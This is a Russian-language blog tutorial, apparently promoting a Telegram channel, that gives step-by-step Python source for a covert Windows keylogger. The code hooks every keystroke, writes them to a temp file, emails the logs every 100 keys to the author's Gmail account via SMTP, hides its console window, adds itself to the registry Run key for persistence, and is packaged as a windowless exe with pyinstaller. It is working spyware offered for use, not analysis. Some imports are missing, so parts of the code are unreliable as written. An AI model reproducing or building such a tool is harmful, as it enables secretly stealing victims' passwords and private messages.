Пишем кейлогер с помощью Python

Почему Python? В первую очередь, это его простота. Достигается она за счет того, что язык и все его составляющие...

Пишем кейлогер с помощью Python

Почему Python?

В первую очередь, это его простота. Достигается она за счет того, что язык и все его составляющие изначально являются интерпретируемыми. Еще несколько лет назад такие системы и языки не были популярны у профессионалов, поскольку компилируемые данные работали гораздо быстрее, поэтому простоту предпочитали скорости. Но в случае, когда скорость обработки и выполнения кода машиной не настолько важна, есть смысл сэкономить время программиста и отдать предпочтение тому, что проще создавать, проверять и в дальнейшем совершенствовать. Кроме того, современная вычислительная техника гораздо лучше справляется с чтением интерпретированных кодов, а потому разница между языками постепенно стирается.

Второе важное достоинство – универсальность и «всеядность». Во-первых, программы на Python могут работать с любой операционной системой. Это делает его универсальным как для пользовательских задач, приложений в гаджетах, системных задач в серверах и массивах данных и так далее. Во многом благодаря этому Python и набрал свою популярность. Более того, в отличие от своего предшественника С, Пайтон занимает равное количество ресурсов памяти, а потому является по-настоящему легко переносимым кодом.

И на конец то, что большинство хакерских скриптов написаны именно на Пайтоне, делает этот язык по настоящему идеальным для нас, куча библиотек, столько же готовых примеров кода не просто упростят нам жизнь, но сделают ее чуточку приятнее.

Но есть и недостатки так?

Их совсем немного. Большинство программистов сходятся во мнении, что все же Python не так быстр, как хотелось бы. Даже в сравнении с другими интерпретируемыми языками он может проигрывать. Однако на деле задач, где важна супер-скорость реализации кода, не так много. Для большинства компьютеров и тем более гаджетов резвости Пайтона более чем достаточно.

Но для нас проблемой станет вес программы, поскольку для создание exe, пайтону нужно тянуть за собой интерпритатор и кучу библиотек.

Перед созданием кейлогера мы должны сделать gmail почту и включить там эту функцию:

https://myaccount.google.com/u/1/lesssecureapps

Приступаем к написанию!

Работать наш кейлогер будет через gmail и для начала вам нужно установить модуль PyWinhook, pyinstaller, smtplib и email, после этого мы импортируем остальные нужные библиотеки, а PyWinhook как pyHook.

pip install нужныйпакет

import pyWinhook as pyHook
import pythoncom
import threading
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import win32event, win32api, winerror

Функция отправки email

Тут будет функция отправки писем, пароль и адрес почты на которую мы будем пересылать нажатые клавиши:

def email():
    mail_content = '''
    Привет, я кейлогер написаный специально для @CyberSec`s!
    '''

    # Получатель, почта кейлоггера и пароль от нее
    sender_address = "почта для пайлогера"
    sender_pass = "пароль от почты для пайлогера"
    receiver_address = "ваша почта@gmail.com"

    # Setup the MIME
    message = MIMEMultipart()
    message['From'] = sender_address
    message['To'] = receiver_address
    message['Subject'] = 'It`s a me, PyLogger!'  # Тема письма

    # Читаем файл - отправляем логи
    message.attach(MIMEText(mail_content, 'plain'))
    file = open("C:/Windows/Temp/klog.txt", "r")
    stringlogs = file.read()
    file.close()
    message.attach(MIMEText(stringlogs))

    # Создаем SMTP сессию для отправки письма
    session = smtplib.SMTP('smtp.gmail.com', 587)  # Сервер и порт gmail
    session.starttls()  # Запускаем защищенное соединение
    session.login(sender_address, sender_pass)  # Заходим в наш аккаунт
    text = message.as_string()
    session.sendmail(sender_address, receiver_address, text)
    session.quit()
    print('Mail Sent')

Класс Keylogger

В нем будет путь к файлу с логами и максимальное количество символов для отправки:

class Keylogger:
    i = ''
    log_path = ("C:/Windows/Temp/klog.txt") # Указываем путь куда сохранять txt с логами 
    MAX_KEYSTROKES = 100 # Максимальное к-во символов, после него следует отправка письма

Скрытый запуск

Напишем функцию с помощью которой наш кейлогер сможет запускаться скрыто при помощи библиотеки threading:

class myThread(threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter

    def run(self):
        main()

Добавление в автозагрузку

Функция которая будет добавлять наш exe в реестр:

def addStartup():
    if getattr(sys, 'frozen', False):
        os.path.dirname(os.path.realpath(sys.executable))
    elif __file__:
        fp = os.path.dirname(os.path.realpath(__file__))
        file_name = sys.argv[0].split("\\")[-1]
        new_file_path = fp + "\\" + file_name
        keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'# Место в системном реестре куда мы и будем сохраняться

        key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)

        SetValueEx(key2change, "logger", 0, REG_SZ, new_file_path)

Параметры для открытия файлов

Это нужно будет для дальнейшего понимания статьи. Как видите, в примере, мы открыли файл с параметром а, это значит что данные которые мы в него запихнем не сотрут старые.


file = open(Keylogger.log_path, “a”) # Открываем txt с флагом а

Флаг “а” указывает на то что файл будет открываться в режиме append, то есть добавление символов, а не полная замена их.

‘r’ – read, режим чтения, который используется, когда файл только читается;

‘w’ – write, режим записи, который используется для редактирования и записи новой информации в файл (любые существующие файлы с таким же именем будут удалены при активации этого режима);

‘a’ – append, режим добавления, который используется для добавления новых данных в конец файла;

‘r +’ – read plus, специальный режим чтения и записи, который используется для обработки обоих действий при работе с файлом.

Добавим кнопкам названия

Проще говоря, если айди клавиши 13, значит ее зовут ENTER ну и так далее:

def KeyFilters(event):
    if (event.KeyID == 13):
        Keylogger.i += ' [Enter] '
    elif (event.KeyID == 162 or event.KeyID == 163):
        Keylogger.i += ' [CTRL] '
    elif (event.KeyID == 164 or event.KeyID == 165):
        Keylogger.i += ' [ALT] '
    elif (event.KeyID == 8):
        Keylogger.i += ' [BackSpace] '
    elif (event.KeyID == 160 or event.KeyID == 161):
        Keylogger.i += ' [SHIFT] '
    elif (event.KeyID == 46):
        Keylogger.i += ' [Delete] '
    elif (event.KeyID == 32):
        Keylogger.i += ' [Space] '
    elif (event.KeyID == 27):
        Keylogger.i += ' [Escape] '
    elif (event.KeyID == 9):
        Keylogger.i += ' [TAB] '
    elif (event.KeyID == 20):
        Keylogger.i += ' [CapsLock] '
    elif (event.KeyID == 38):
        Keylogger.i += ' [Up] '
    elif (event.KeyID == 40):
        Keylogger.i += ' [Down] '
    elif (event.KeyID == 37):
        Keylogger.i += ' [Left] '
    elif (event.KeyID == 39):
        Keylogger.i += ' [Right] '
    elif (event.KeyID == 91):
        Keylogger.i += ' [Windows] '
    else:
        Keylogger.i += chr(event.Ascii)# Если айди не попадает под наши "категории" даем ему имя "символа"
    return True

Инициализируем переменные

Эта функция будет инициализировать переменные для будущего использования в sending_procedure

# Инициализируем переменные для sending_procedure
def initialize():
    hm.UnhookKeyboard()
    Keylogger.i = None
    Keylogger.i = ''
    hm.HookKeyboard()

Записываем собранные клавиши в файл

# Записываем собранные клавиши в файл
def writeToFile():
    file = open(Keylogger.log_path, "a") # Открываем файл с флагом "а"
    file.write(Keylogger.i) # Записываем в файл наши "логи"
    file.close() # Закрываем файл
    return True

Запрещаем множественные копии кейлогера

Проще говоря, это сделано для того, что бы на компьютере не смогли быть запущены сразу 2 наших кейлогера:

# Запрещаем копии кейлогера
def disallow_Multiple_Instances():
    mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
    if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
        mutex = None
        exit(0)
    x = ''
    data = ''
    count = 0

Функция OnKeyboardEvent

Данная функция запускает KeyFilters и после и sending_procedure, что позволяет нам делать лог клавиш и отправлять его на почту:

# Запуск "Слушателя" клавиш
def OnKeyboardEvent(event):
    KeyFilters(event)
    sending_procedure()
    return True

Скрытие консоли кейлогера

Используя модуль win32gui мы указали что видимость окна будет равна 0:

# Скрытие консоли
def hide():
    import win32console, win32gui
    window = win32console.GetConsoleWindow()# Узнаем где наша консоль
    win32gui.ShowWindow(window, 0)# Делаем ее невидимой
    return True

Функция запуска кейлогера

# Запуск кейлогера
def main():
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

#Вызываем функцию hide
hide()
#Добавляемся в реестр для автозагрузки
addStartup()
#Делаем переменную pm, которая будет обозначать HookManager
hm = pyHook.HookManager()
#Вызываем функцию disallow_Multiple_Instances
disallow_Multiple_Instances()
#Вызываем функцию для скрытого запуска
thread = myThread(1, "Thread", 1)
thread.start()

У вас наверняка возник вопрос как собрать это все в exe, для этого мы напишем скрипт, который будет запускать нам pyinstaller.

import os.path
import os
import platform

logo = r'''

'''

# Очищаем терминал и печатаем логотип
def main():
    if platform.system() == "Windows":
        os.system("@cls")
    else:
        os.system("clear")
    print(logo)

main()
# Переменная с командой для pyinstaller, вместо main.py впишите название ВАШЕГО скрипта
install = ("pyinstaller -w --onefile --icon=ico.ico main.py")
# Вызываем команду install
os.system(install)

На этом все. Теперь вы знаете, как создать простейший кейлоггер на Python, который при желании можно доработать еще лучше.

Вас ебали, ебут и будут ебать. Государство, хакеры, чиновники. Остановить эту свингер-пати невозможно. Но я научу предохраняться. Я покажу и расскажу вам то о чём не пишет журнал “Хакер” и не рассказывают или просто не знают другие каналы. Здесь ты найдешь подборку лучших статей и видеоматериалов на тему кибербезопасности. Все, от аудита Wi-Fi до вскрытия автомобилей (если вы потеряли ключи). А также горячие новости с авторскими коментариями.

Обо всем этом вам расскажу только я на канале @cybersecs

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.